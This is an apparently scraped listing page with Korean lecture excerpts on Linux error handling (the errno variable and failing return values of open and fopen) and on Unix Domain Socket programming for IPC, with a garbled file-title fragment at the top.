<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D> 리눅스 오류처리하기 2007. 11. 28 안효창 라이브러리함수의오류번호얻기 errno 변수기능오류번호를저장한다. 기본형 extern int errno; 헤더파일 라이브러리함수호출에실패했을때함수예 정수값을반환하는함수 -1 반환 open 함수 포인터를반환하는함수 NULL 반환 fopen 함수 2 유닉스 / 리눅스 라이브러리함수의오류번호얻기 19-1

More information

Microsoft Word - Network Programming_NewVersion_01_.docx

Microsoft Word - Network Programming_NewVersion_01_.docx 10. Unix Domain Socket 105/113 10. Unix Domain Socket 본절에서는 Unix Domain Socket(UDS) 에대한개념과이에대한실습을수행하고, 이와동시에비신뢰적인통신시스템의문제점에대해서분석하도록한다. 이번실습의목표는다음과같다. 1. Unix Domain Socket의사용법을익히고, IPC에대해서실습 2. TCP/IP의응용계층과전달계층의동작을구현및실습

More information